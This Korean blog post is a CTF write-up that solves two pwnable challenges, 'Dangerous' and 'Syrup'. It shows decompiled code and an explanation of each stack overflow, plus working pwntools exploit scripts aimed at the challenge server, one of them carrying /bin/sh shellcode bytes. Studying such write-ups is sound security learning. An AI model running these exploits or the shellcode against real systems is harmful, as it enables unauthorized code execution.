거의 끝나기 직전에? 참여해서 포너블 2문제 정도 풀었다.
문제수도 많고 너무 어려운 정도도 아니여서 좀더 빨리 알았으면....
SOLVED
Binary Exploitation
Dangerous
signed __int64 __usercall main@<rax>(char **a1@<rsi>, char **a2@<rdx>, __int64 a3@<rbp>)
{
__int64 v3; // rax
signed __int64 result; // rax
signed __int64 v5; // [rsp-218h] [rbp-218h]
signed __int64 v6; // [rsp-210h] [rbp-210h]
signed __int64 v7; // [rsp-208h] [rbp-208h]
signed __int64 v8; // [rsp-200h] [rbp-200h]
signed __int64 v9; // [rsp-1F8h] [rbp-1F8h]
__int64 v10; // [rsp-1F0h] [rbp-1F0h]
__int64 v11; // [rsp-1E8h] [rbp-1E8h]
char v12; // [rsp-19h] [rbp-19h]
__int64 v13; // [rsp-10h] [rbp-10h]
__int64 v14; // [rsp-8h] [rbp-8h]
puts_("What's your name?");
v3 = strlen_(&v5);
v13 = read_(0LL, &v5 + v3, 512LL);
if ( v13 > 0 )
{
v12 = 0;
puts_(&v5);
puts_(off_404058);
result = 0LL;
}
else
{
puts_("Uh-oh... something's not right... good luck...");
result = 1LL;
}
return result;
}
main함수는 위와 같다 (중요한 부분만 남겨두었다.)
원래 read(0,v5,512)로 호출을 하면 ret를 overwrite할 수 없지만 v3만큼 더해진 부분에서 입력이 시작되기 때문에 ret overwrite가능하다. ret를 0x401312로 overwrite해주어 flag를 얻으면된다.
from pwn import *
# p=process("dangerous")
p=remote("jh2i.com", 50011)
magic = 0x401312
py = ''
py += 'A'*497
py += p64(magic)
p.sendlineafter("name?", py)
p.interactive()
Syrup
fn1:
push rbp
mov rbp, rsp
mov eax, 0DEADh
xor rax, 0BEEFh
push rax
sub rbp, 8
sub rbp, 400h
mov eax, 0
mov edi, 0 ; fd
mov rsi, rbp ; buf
mov edx, 800h ; count
syscall ; LINUX - sys_read
pop rax
xor rax, 0BEEFh
cmp rax, 0DEADh
jnz short nope
pop rbp
retn
fn1역할은 다음과 같다.
- read(0,rbp,800h)
- rbp를 408정도 늘리지만 최대 800만큼 입력받아 오버플로우가 발생한다.
- pop rax -> xor rax, BEEFh -> cmp rax, DEADh
- rax에 6042h 값 넣어주면 nope으로 jmp하지 않는다.
fn2:
push rbp
mov rbp, rsp
pop rax
mov rdi, offset fail ; "Nope.\n"
syscall ; LINUX -
pop rbp
retn
fn2에서는 rax를 pop한 후 rdi에 fail 주소 넣어주고 syscall을 해주게 된다.
이 문제는 요 fn2를 이용하는것이 핵심이다.
문제는 쉽게 fail에 shellcode를 저장한 후 ret에 fail 주소로 overwrite해주면 쉽게 풀린다.
처음에는 execve니 뭐니 생각했었는데 굳이 어렵게 생각할 필요 없이 shellcode로 이지 하게 풀린다.
참고로 문제에 /bin/sh이 그대로 박혀있는 거 보니까 아마 제작자가 의도한 풀이가 쉘코드가 아닐 수도 있다.
from pwn import *
p=remote("jh2i.com",50036)
# p=process("./syrup")
key = 0x6042
fail = 0x402011
read = 0x40105d
sy = 0x401004
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
py = ''
py += 'A'*1024
py += p64(key)
py += p64(fail) #pop rbp
py += p64(read)
py += p64(key)
py += p64(0)
py += p64(fail)
p.sendlineafter("me?",py)
p.sendline(shellcode)
p.interactive()
'CTF > 2020' 카테고리의 다른 글
Redpwn CTF (0) | 2020.06.26 |
---|---|
DefenitCTF 후기 (0) | 2020.06.08 |
angstormCTF library_in_c (64bit fsb) (0) | 2020.03.21 |
angstormCTF 2020 (0) | 2020.03.19 |